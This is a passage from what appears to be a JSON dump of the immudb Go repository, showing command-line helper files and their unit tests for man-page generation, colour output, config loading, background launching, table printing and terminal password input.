title,\n\t\t\t\tSection: \"1\",\n\t\t\t}\n\t\t\tdir := defaultDir\n\t\t\tif len(args) > 0 {\n\t\t\t\tdir = args[0]\n\t\t\t}\n\t\t\t_ = os.Mkdir(dir, os.ModePerm)\n\t\t\tif err := doc.GenManTree(cmd, header, dir); err == nil {\n\t\t\t\tfmt.Printf(\"SUCCESS: man files generated in the %s directory\\n\", dir)\n\t\t\t}\n\t\t\treturn err\n\t\t},\n\t\tDisableAutoGenTag: false,\n\t}\n}\n"
  },
  {
    "path": "cmd/docs/man/generate_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage man\n\nimport (\n\t\"io/ioutil\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/spf13/cobra\"\n)\n\nfunc TestGenerate(t *testing.T) {\n\trootCmd := &cobra.Command{\n\t\tUse:   \"somecommand somearg1\",\n\t\tShort: \"somme command short description\",\n\t\tLong:  \"some command long description\",\n\t}\n\tdir := t.TempDir()\n\tcmd := Generate(rootCmd, rootCmd.Use, dir)\n\tcmd.SetArgs([]string{dir})\n\trequire.NoError(t, cmd.Execute())\n\tbs, err := ioutil.ReadFile(filepath.Join(dir, \"somecommand.1\"))\n\trequire.NoError(t, err)\n\trequire.NotEmpty(t, bs)\n}\n"
  },
  {
    "path": "cmd/helper/color_unix.go",
    "content": "//go:build linux || darwin || freebsd\n// +build linux darwin freebsd\n\n/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage helper\n\nimport (\n\t\"fmt\"\n\t\"io\"\n)\n\n// Reset resets the color\nvar Reset = \"\\033[0m\"\n\n// Red ...\nvar Red = \"\\033[31m\"\n\n// Green ...\nvar Green = \"\\033[32m\"\n\n// Yellow ...\nvar Yellow = \"\\033[33m\"\n\n// Blue ...\nvar Blue = \"\\033[34m\"\n\n// Purple ...\nvar Purple = \"\\033[35m\"\n\n// Cyan ...\nvar Cyan = \"\\033[36m\"\n\n// White ...\nvar White = \"\\033[37m\"\n\n// PrintfColorW ...\nfunc PrintfColorW(w io.Writer, color string, format string, args ...interface{}) {\n\tfmt.Fprintf(w, color+format+Reset, args...)\n}\n"
  },
  {
    "path": "cmd/helper/color_unix_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage helper\n\nimport (\n\t\"bytes\"\n\t\"testing\"\n)\n\nfunc TestPrintfColorW(t *testing.T) {\n\tw := &bytes.Buffer{}\n\tPrintfColorW(w, Red, \"test %d\", 1)\n}\n"
  },
  {
    "path": "cmd/helper/color_windows.go",
    "content": "//go:build windows\n// +build windows\n\n/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage helper\n\nimport (\n\t\"fmt\"\n\t\"io\"\n)\n\n// Reset resets the color\nvar Reset = \"\\033[0m\"\n\n// Red ...\nvar Red = \"\\033[31m\"\n\n// Green ...\nvar Green = \"\\033[32m\"\n\n// Yellow ...\nvar Yellow = \"\\033[33m\"\n\n// Blue ...\nvar Blue = \"\\033[34m\"\n\n// Purple ...\nvar Purple = \"\\033[35m\"\n\n// Cyan ...\nvar Cyan = \"\\033[36m\"\n\n// White ...\nvar White = \"\\033[37m\"\n\nfunc init() {\n\tReset = \"\"\n\tRed = \"\"\n\tGreen = \"\"\n\tYellow = \"\"\n\tBlue = \"\"\n\tPurple = \"\"\n\tCyan = \"\"\n\tWhite = \"\"\n}\n\n// PrintfColorW ...\nfunc PrintfColorW(w io.Writer, color string, format string, args ...interface{}) {\n\tfmt.Fprintf(w, color+format+Reset, args...)\n}\n"
  },
  {
    "path": "cmd/helper/config.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage helper\n\nimport (\n\t\"os\"\n\t\"os/user\"\n\t\"strings\"\n\n\tservice \"github.com/codenotary/immudb/cmd/immuclient/service/constants\"\n\t\"github.com/spf13/cobra\"\n\t\"github.com/spf13/viper\"\n)\n\n// Options cmd options\ntype Config struct {\n\tName  string // default config file name\n\tCfgFn string // bind with flag config (config file submitted by user, it overrides default)\n}\n\n// Init initializes config\nfunc (c *Config) Init(name string) error {\n\tif c.CfgFn != \"\" {\n\t\tviper.SetConfigFile(c.CfgFn)\n\t} else {\n\t\tif user, err := user.Current(); err != nil {\n\t\t\treturn err\n\t\t} else {\n\t\t\tviper.AddConfigPath(user.HomeDir)\n\t\t}\n\t\tviper.AddConfigPath(\"../src/configs\")\n\t\tviper.AddConfigPath(os.Getenv(\"GOPATH\") + \"/src/configs\")\n\t\tif path, _ := os.Executable(); path == service.ExecPath {\n\t\t\tviper.AddConfigPath(\"/etc/\" + name)\n\t\t}\n\t\tviper.SetConfigName(name)\n\t}\n\tviper.SetEnvPrefix(strings.ToUpper(name))\n\tviper.SetEnvKeyReplacer(strings.NewReplacer(\"-\", \"_\"))\n\tviper.AutomaticEnv()\n\tif err := viper.ReadInConfig(); err == nil {\n\t\tc.CfgFn = viper.ConfigFileUsed()\n\t} else {\n\t\treturn err\n\t}\n\treturn nil\n}\n\n// LoadConfig loads the config file (if any) and initializes the config\nfunc (c *Config) LoadConfig(cmd *cobra.Command) (err error) {\n\tif c.CfgFn, err = cmd.Flags().GetString(\"config\"); err != nil {\n\t\treturn err\n\t}\n\tif err = c.Init(c.Name); err != nil {\n\t\tif !strings.Contains(err.Error(), \"Not Found\") {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "cmd/helper/config_pathmanager_unix.go",
    "content": "//go:build linux || darwin || freebsd\n// +build linux darwin freebsd\n\n/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage helper\n\n// ResolvePath ...\nfunc ResolvePath(origPath string, parse bool) (finalPath string, err error) {\n\treturn origPath, nil\n}\n"
  },
  {
    "path": "cmd/helper/config_pathmanager_windows.go",
    "content": "//go:build windows\n// +build windows\n\n/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage helper\n\nimport (\n\t\"strings\"\n\n\t\"golang.org/x/sys/windows\"\n)\n\n// ResolvePath\nfunc ResolvePath(path string, quote bool) (finalPath string, err error) {\n\tvar toReplace string\n\tvar folderId *windows.KNOWNFOLDERID\n\tvar token string\n\tif strings.Contains(path, \"%programdata%\") {\n\t\ttoReplace = \"%programdata%\"\n\t\tfolderId = windows.FOLDERID_ProgramData\n\t}\n\tif strings.Contains(path, \"%programfile%\") {\n\t\ttoReplace = \"%programfile%\"\n\t\tfolderId = windows.FOLDERID_ProgramFiles\n\t}\n\tif toReplace != \"\" {\n\t\tif token, err = windows.KnownFolderPath(folderId, windows.KF_FLAG_DEFAULT); err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tif quote {\n\t\t\ttoken = strings.Replace(token, \"\\\\\", \"\\\\\\\\\", -1)\n\t\t}\n\t\tpath = strings.Replace(path, toReplace, token, -1)\n\t}\n\treturn path, nil\n}\n"
  },
  {
    "path": "cmd/helper/config_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage helper\n\nimport (\n\t\"io/ioutil\"\n\t\"os\"\n\t\"os/user\"\n\t\"testing\"\n\n\t\"github.com/spf13/cobra\"\n\t\"github.com/spf13/viper\"\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestOptions_InitConfig(t *testing.T) {\n\tinput, _ := ioutil.ReadFile(\"../../test/immudb.toml\")\n\tuser, err := user.Current()\n\trequire.NoError(t, err)\n\n\tfn := user.HomeDir + \"/immudbtest9990.toml\"\n\t_ = ioutil.WriteFile(fn, input, 0644)\n\tdefer os.RemoveAll(fn)\n\to := Config{}\n\to.Init(\"test\")\n\taddress := viper.GetString(\"address\")\n\tassert.NotNil(t, address)\n}\n\nfunc TestOptions_InitConfigWithCfFn(t *testing.T) {\n\tinput, _ := ioutil.ReadFile(\"../../test/immudb.toml\")\n\tfn := \"/tmp/immudbtest9991.toml\"\n\t_ = ioutil.WriteFile(fn, input, 0644)\n\tdefer os.RemoveAll(fn)\n\to := Config{\n\t\tCfgFn: fn,\n\t}\n\to.Init(\"test\")\n\taddress := viper.GetString(\"address\")\n\tassert.NotNil(t, address)\n}\n\nfunc TestConfig_Load(t *testing.T) {\n\tinput, _ := ioutil.ReadFile(\"../../test/immudb.toml\")\n\tfn := \"/tmp/immudbtest9991.toml\"\n\t_ = ioutil.WriteFile(fn, input, 0644)\n\tdefer os.RemoveAll(fn)\n\to := Config{\n\t\tCfgFn: fn,\n\t}\n\to.Init(\"test\")\n\taddress := viper.GetString(\"address\")\n\tassert.NotNil(t, address)\n\tcmd := cobra.Command{}\n\tcmd.Flags().StringVar(&o.CfgFn, \"config\", \"\", \"config file\")\n\terr := o.LoadConfig(&cmd)\n\tassert.NoError(t, err)\n}\n\nfunc TestConfig_LoadError(t *testing.T) {\n\tinput, _ := ioutil.ReadFile(\"../../test/immudb.toml\")\n\tfn := \"/tmp/immudbtest9991.toml\"\n\t_ = ioutil.WriteFile(fn, input, 0644)\n\tdefer os.RemoveAll(fn)\n\to := Config{\n\t\tCfgFn: fn,\n\t}\n\to.Init(\"test\")\n\taddress := viper.GetString(\"address\")\n\tassert.NotNil(t, address)\n\tcmd := cobra.Command{}\n\terr := o.LoadConfig(&cmd)\n\tassert.Error(t, err)\n}\n\nfunc TestConfig_LoadError2(t *testing.T) {\n\tfn := \"/tmp/immudbtest9991.toml\"\n\to := Config{\n\t\tCfgFn: fn,\n\t}\n\to.Init(\"test\")\n\taddress := viper.GetString(\"address\")\n\tassert.NotNil(t, address)\n\tcmd := cobra.Command{}\n\tcmd.Flags().StringVar(&o.CfgFn, \"config\", \"\", \"config file\")\n\terr := o.LoadConfig(&cmd)\n\tassert.Error(t, err)\n}\n"
  },
  {
    "path": "cmd/helper/detached.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage helper\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path/filepath\"\n\t\"time\"\n)\n\n// DetachedFlag ...\nconst DetachedFlag = \"detached\"\n\n// DetachedShortFlag ...\nconst DetachedShortFlag = \"d\"\n\ntype Execs interface {\n\tCommand(name string, arg ...string) *exec.Cmd\n}\n\ntype execs struct{}\n\nfunc (e execs) Command(name string, arg ...string) *exec.Cmd {\n\treturn exec.Command(name, arg...)\n}\n\ntype Plauncher interface {\n\tDetached() error\n}\n\ntype plauncher struct {\n\te Execs\n}\n\nfunc NewPlauncher() *plauncher {\n\treturn &plauncher{execs{}}\n}\n\n// Detached launch command in background\nfunc (pl plauncher) Detached() error {\n\tvar err error\n\tvar executable string\n\tvar args []string\n\n\tif executable, err = os.Executable(); err != nil {\n\t\treturn err\n\t}\n\n\tfor i, k := range os.Args {\n\t\tif k != \"--\"+DetachedFlag && k != \"-\"+DetachedShortFlag && i != 0 {\n\t\t\targs = append(args, k)\n\t\t}\n\t}\n\n\tcmd := pl.e.Command(executable, args...)\n\tcmd.Stdout = os.Stdout\n\tcmd.Stderr = os.Stderr\n\n\tif err = cmd.Start(); err != nil {\n\t\treturn err\n\t}\n\ttime.Sleep(1 * time.Second)\n\tfmt.Fprintf(\n\t\tos.Stdout, \"%s%s has been started with %sPID %d%s\\n\",\n\t\tGreen, filepath.Base(executable), Blue, cmd.Process.Pid, Reset)\n\treturn nil\n}\n"
  },
  {
    "path": "cmd/helper/detached_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage helper\n\nimport (\n\t\"bytes\"\n\t\"os/exec\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n)\n\ntype execsmock struct{}\n\nfunc (e execsmock) Command(name string, arg ...string) *exec.Cmd {\n\tcmd := exec.Command(\"tr\", \"a-z\", \"A-Z\")\n\tcmd.Stdin = strings.NewReader(\"some input\")\n\tvar out bytes.Buffer\n\tcmd.Stdout = &out\n\treturn cmd\n}\n\nfunc TestDetached(t *testing.T) {\n\tpl := plauncher{execsmock{}}\n\terr := pl.Detached()\n\tassert.NoError(t, err)\n}\n\nfunc TestNewPlauncher(t *testing.T) {\n\tpl := NewPlauncher()\n\tassert.IsType(t, &plauncher{}, pl)\n}\n\nfunc TestExecs_Command(t *testing.T) {\n\tex := execs{}\n\tc := ex.Command(\"tr\", \"a-z\", \"A-Z\")\n\tassert.IsType(t, &exec.Cmd{}, c)\n}\n"
  },
  {
    "path": "cmd/helper/error.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage helper\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"os\"\n\n\t\"google.golang.org/grpc/codes\"\n\t\"google.golang.org/grpc/status\"\n)\n\nvar osexit = os.Exit\n\n// QuitToStdErr prints an error on stderr and closes\nfunc QuitToStdErr(msg interface{}) {\n\t_, _ = fmt.Fprintln(os.Stderr, msg)\n\tosexit(1)\n}\n\n// QuitWithUserError ...\nfunc QuitWithUserError(err error) {\n\ts, ok := status.FromError(err)\n\tif !ok {\n\t\tQuitToStdErr(err)\n\t}\n\tif s.Code() == codes.Unauthenticated {\n\t\tQuitToStdErr(errors.New(\"unauthenticated, please login\"))\n\t}\n\tQuitToStdErr(err)\n}\n\nfunc OverrideQuitter(quitter func(int)) {\n\tosexit = quitter\n}\n\nfunc UnwrapMessage(msg interface{}) interface{} {\n\tif err, ok := msg.(error); ok {\n\t\tif statusErr, isStatusErr := status.FromError(err); isStatusErr {\n\t\t\treturn statusErr.Message()\n\t\t}\n\t}\n\treturn msg\n}\n"
  },
  {
    "path": "cmd/helper/size.go",
    "content": "package helper\n\nimport (\n\t\"strconv\"\n\t\"strings\"\n)\n\nconst (\n\tByte     = 1\n\tKiloByte = 1 << (10 * iota)\n\tMegaByte\n\tGigaByte\n\tTeraByte\n\tPetaByte\n\tExaByte\n)\n\nvar unitMap = map[int]string{\n\tByte:     \"B\",\n\tKiloByte: \"KB\",\n\tMegaByte: \"MB\",\n\tGigaByte: \"GB\",\n\tTeraByte: \"TB\",\n\tPetaByte: \"PB\",\n\tExaByte:  \"EB\",\n}\n\nfunc FormatByteSize(size uint64) string {\n\tu := getUnit(size)\n\n\tfsize := float64(size) / float64(u)\n\tif rounded := uint64(fsize + 0.05); rounded == 1024 {\n\t\tu = getUnit(1024 * uint64(u))\n\t\tfsize = 1\n\t}\n\treturn strings.TrimSuffix(strconv.FormatFloat(fsize, 'f', 1, 64), \".0\") + \" \" + unitMap[u]\n}\n\nfunc getUnit(size uint64) int {\n\tswitch {\n\tcase size >= ExaByte:\n\t\treturn ExaByte\n\tcase size >= PetaByte:\n\t\treturn PetaByte\n\tcase size >= TeraByte:\n\t\treturn TeraByte\n\tcase size >= GigaByte:\n\t\treturn GigaByte\n\tcase size >= MegaByte:\n\t\treturn MegaByte\n\tcase size >= KiloByte:\n\t\treturn KiloByte\n\t}\n\treturn Byte\n}\n"
  },
  {
    "path": "cmd/helper/size_test.go",
    "content": "package helper_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/cmd/helper\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestFormatByteSize(t *testing.T) {\n\trequire.Equal(t, \"25 B\", helper.FormatByteSize(25))\n\trequire.Equal(t, \"10 KB\", helper.FormatByteSize(size(10.0, helper.KiloByte)))\n\trequire.Equal(t, \"5.4 MB\", helper.FormatByteSize(size(5.4, helper.MegaByte)))\n\trequire.Equal(t, \"11.8 GB\", helper.FormatByteSize(size(11.8, helper.GigaByte)))\n\trequire.Equal(t, \"99.3 PB\", helper.FormatByteSize(size(99.27, helper.PetaByte)))\n\trequire.Equal(t, \"1 EB\", helper.FormatByteSize(size(1023.95, helper.PetaByte)))\n\trequire.Equal(t, \"2.3 EB\", helper.FormatByteSize(size(2.3, helper.ExaByte)))\n}\n\nfunc size(fraction float64, unit int) uint64 {\n\ts := fraction * float64(unit)\n\treturn uint64(s)\n}\n"
  },
  {
    "path": "cmd/helper/table_printer.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage helper\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"strconv\"\n\t\"strings\"\n\t\"text/tabwriter\"\n)\n\n// PrintTable prints data (string arrays) in a tabular format\nfunc PrintTable(\n\tw io.Writer,\n\tcols []string,\n\tnbRows int,\n\tgetRow func(int) []string,\n\tcaption string,\n) {\n\tif nbRows == 0 {\n\t\treturn\n\t}\n\tnbCols := len(cols)\n\tif nbCols == 0 {\n\t\treturn\n\t}\n\tcolSep := \"\\t\"\n\n\tmaxNbDigits := 0\n\ttens := nbRows\n\tfor tens != 0 {\n\t\ttens /= 10\n\t\tmaxNbDigits++\n\t}\n\theader := append([]string{strings.Repeat(\"#\", maxNbDigits)}, cols...)\n\n\tvar sb strings.Builder\n\tfor _, th := range header {\n\t\tfor i := 0; i < len(th); i++ {\n\t\t\tsb.WriteString(\"-\")\n\t\t}\n\t\tsb.WriteString(colSep)\n\t}\n\tborderBottom := sb.String()\n\tsb.Reset()\n\tif len(caption) <= 0 {\n\t\tcaption = fmt.Sprintf(\"%d row(s)\", nbRows)\n\t}\n\tfmt.Fprint(w, caption+\"\\n\")\n\n\ttw := tabwriter.NewWriter(w, 0, 0, 2, ' ', 0)\n\tfmt.Fprintln(tw, borderBottom)\n\tfmt.Fprint(tw, strings.Join(header, colSep), colSep, \"\\n\")\n\tfmt.Fprintln(tw, borderBottom)\n\tfor i := 0; i < nbRows; i++ {\n\t\trow := getRow(i)\n\t\tnbRowCols := len(row)\n\t\tfor j := 0; j < nbCols; j++ {\n\t\t\tif j < nbRowCols {\n\t\t\t\tsb.WriteString(row[j])\n\t\t\t}\n\t\t\tsb.WriteString(colSep)\n\t\t}\n\t\tfmt.Fprint(tw, strconv.Itoa(i+1), colSep, sb.String(), \"\\n\")\n\t\tsb.Reset()\n\t}\n\tfmt.Fprintln(tw, borderBottom)\n\t_ = tw.Flush()\n}\n"
  },
  {
    "path": "cmd/helper/table_printer_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage helper\n\nimport (\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/cmd/cmdtest\"\n\t\"github.com/stretchr/testify/assert\"\n)\n\nfunc TestPrintTable(t *testing.T) {\n\tcollector := new(cmdtest.StdOutCollector)\n\tcollector.Start()\n\telements := make([]string, 2)\n\telements[0] = \"one\"\n\telements[1] = \"two\"\n\tPrintTable(\n\t\tos.Stdout,\n\t\t[]string{\"Database Name\"},\n\t\tlen(elements),\n\t\tfunc(i int) []string {\n\t\t\trow := make([]string, 1)\n\t\t\trow[0] = elements[i]\n\t\t\treturn row\n\t\t},\n\t\t\"\",\n\t)\n\tris, _ := collector.Stop()\n\tassert.Contains(t, ris, \"one\")\n\tassert.Contains(t, ris, \"two\")\n\tassert.Contains(t, ris, \"2 row(s)\")\n\n\t// custom table caption\n\telements[1] = \"three\"\n\tcollector.Start()\n\tPrintTable(\n\t\tos.Stdout,\n\t\t[]string{\"Database Name\"},\n\t\tlen(elements),\n\t\tfunc(i int) []string {\n\t\t\trow := make([]string, 1)\n\t\t\trow[0] = elements[i]\n\t\t\treturn row\n\t\t},\n\t\t\"2 numbers\",\n\t)\n\tris, _ = collector.Stop()\n\tassert.Contains(t, ris, \"three\")\n\tassert.Contains(t, ris, \"2 numbers\")\n}\n\nfunc TestPrintTableZeroEle(t *testing.T) {\n\tcollector := new(cmdtest.StdOutCollector)\n\tcollector.Start()\n\telements := make([]string, 0)\n\tPrintTable(\n\t\tos.Stdout,\n\t\t[]string{\"Database Name\"},\n\t\tlen(elements),\n\t\tfunc(i int) []string {\n\t\t\trow := make([]string, 1)\n\t\t\trow[0] = elements[i]\n\t\t\treturn row\n\t\t},\n\t\t\"\",\n\t)\n\tris, _ := collector.Stop()\n\tassert.Equal(t, \"\", ris)\n}\n\nfunc TestPrintTableZeroCol(t *testing.T) {\n\tcollector := new(cmdtest.StdOutCollector)\n\tcollector.Start()\n\telements := make([]string, 2)\n\telements[0] = \"one\"\n\telements[1] = \"two\"\n\tPrintTable(\n\t\tos.Stdout,\n\t\t[]string{},\n\t\tlen(elements),\n\t\tfunc(i int) []string {\n\t\t\trow := make([]string, 1)\n\t\t\trow[0] = elements[i]\n\t\t\treturn row\n\t\t},\n\t\t\"\",\n\t)\n\tris, _ := collector.Stop()\n\tassert.Equal(t, \"\", ris)\n}\n"
  },
  {
    "path": "cmd/helper/terminal.go",
    "content": "package helper\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"strings\"\n\n\t\"golang.org/x/crypto/ssh/terminal\"\n)\n\ntype terminalReader struct {\n\tr io.Reader\n}\n\ntype TerminalReader interface {\n\tReadFromTerminalYN(def string) (selected string, err error)\n}\n\nfunc NewTerminalReader(r io.Reader) *terminalReader {\n\treturn &terminalReader{r}\n}\n\n// ReadFromTerminalYN read terminal user input from a Yes No dialog. It returns y and n only with an explicit Yy or Nn input. If no input is submitted it returns default value. If the input is different from the expected one empty string is returned.\nfunc (t *terminalReader) ReadFromTerminalYN(def string) (selected string, err error) {\n\tvar u string\n\tvar n int\n\tif n, err = fmt.Fscanln(t.r, &u); err != nil && err != io.EOF && err.Error() != \"unexpected newline\" {\n\t\treturn \"\", err\n\t}\n\tif n <= 0 {\n\t\tu = def\n\t}\n\tu = strings.TrimSpace(strings.ToLower(u))\n\tif u == \"y\" {\n\t\treturn \"y\", nil\n\t}\n\tif u == \"n\" {\n\t\treturn \"n\", nil\n\t}\n\treturn \"\", nil\n}\n\n// PasswordReader ...\ntype PasswordReader interface {\n\tRead(string) ([]byte, error)\n}\ntype stdinPasswordReader struct {\n\ttrp TerminalReadPw\n}\n\n// DefaultPasswordReader ...\nvar DefaultPasswordReader PasswordReader = stdinPasswordReader{trp: terminalReadPw{}}\n\nfunc (pr stdinPasswordReader) Read(msg string) ([]byte, error) {\n\tfi, _ := os.Stdin.Stat()\n\t// pipe?\n\tif (fi.Mode() & os.ModeCharDevice) == 0 {\n\t\tpass, err := ioutil.ReadAll(os.Stdin)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn pass, nil\n\t} else {\n\t\t// terminal\n\t\tfmt.Print(msg)\n\t\tpass, err := pr.trp.ReadPassword(int(os.Stdin.Fd()))\n\t\tfmt.Println()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn pass, nil\n\t}\n}\n\ntype terminalReadPw struct{}\ntype TerminalReadPw interface {\n\tReadPassword(fd int) ([]byte, error)\n}\n\nfunc (trp terminalReadPw) ReadPassword(fd int) ([]byte, error) {\n\treturn terminal.ReadPassword(fd)\n}\n"
  },
  {
    "path": "cmd/helper/terminal_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage helper\n\nimport (\n\t\"os\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n)\n\nfunc TestTerminalReader_ReadFromTerminalYN(t *testing.T) {\n\ttr := NewTerminalReader(strings.NewReader(\"Y\"))\n\tresp, err := tr.ReadFromTerminalYN(\"Y\")\n\tassert.NoError(t, err)\n\tassert.Equal(t, \"y\", resp)\n\ttr.r = strings.NewReader(\"sgdf\")\n\tresp, err = tr.ReadFromTerminalYN(\"Y\")\n\tassert.NoError(t, err)\n\tassert.Equal(t, \"\", resp)\n\ttr.r = strings.NewReader(\"N\")\n\tresp, err = tr.ReadFromTerminalYN(\"Y\")\n\tassert.NoError(t, err)\n\tassert.Equal(t, \"n\", resp)\n\ttr.r = strings.NewReader(\"\")\n\tresp, err = tr.ReadFromTerminalYN(\"Y\")\n\tassert.NoError(t, err)\n\tassert.Equal(t, \"y\", resp)\n}\n\nfunc TestStdinPasswordReader_Read(t *testing.T) {\n\tpr := stdinPasswordReader{&terminalReadPwMock{}}\n\tpw, err := pr.Read(\"paxword\")\n\tassert.NoError(t, err)\n\tassert.Equal(t, []byte(`fake`), pw)\n}\n\nfunc TestTerminalReadPw_ReadPassword(t *testing.T) {\n\ttrp := terminalReadPw{}\n\t_, err := trp.ReadPassword(int(os.Stdin.Fd()))\n\tassert.Error(t, 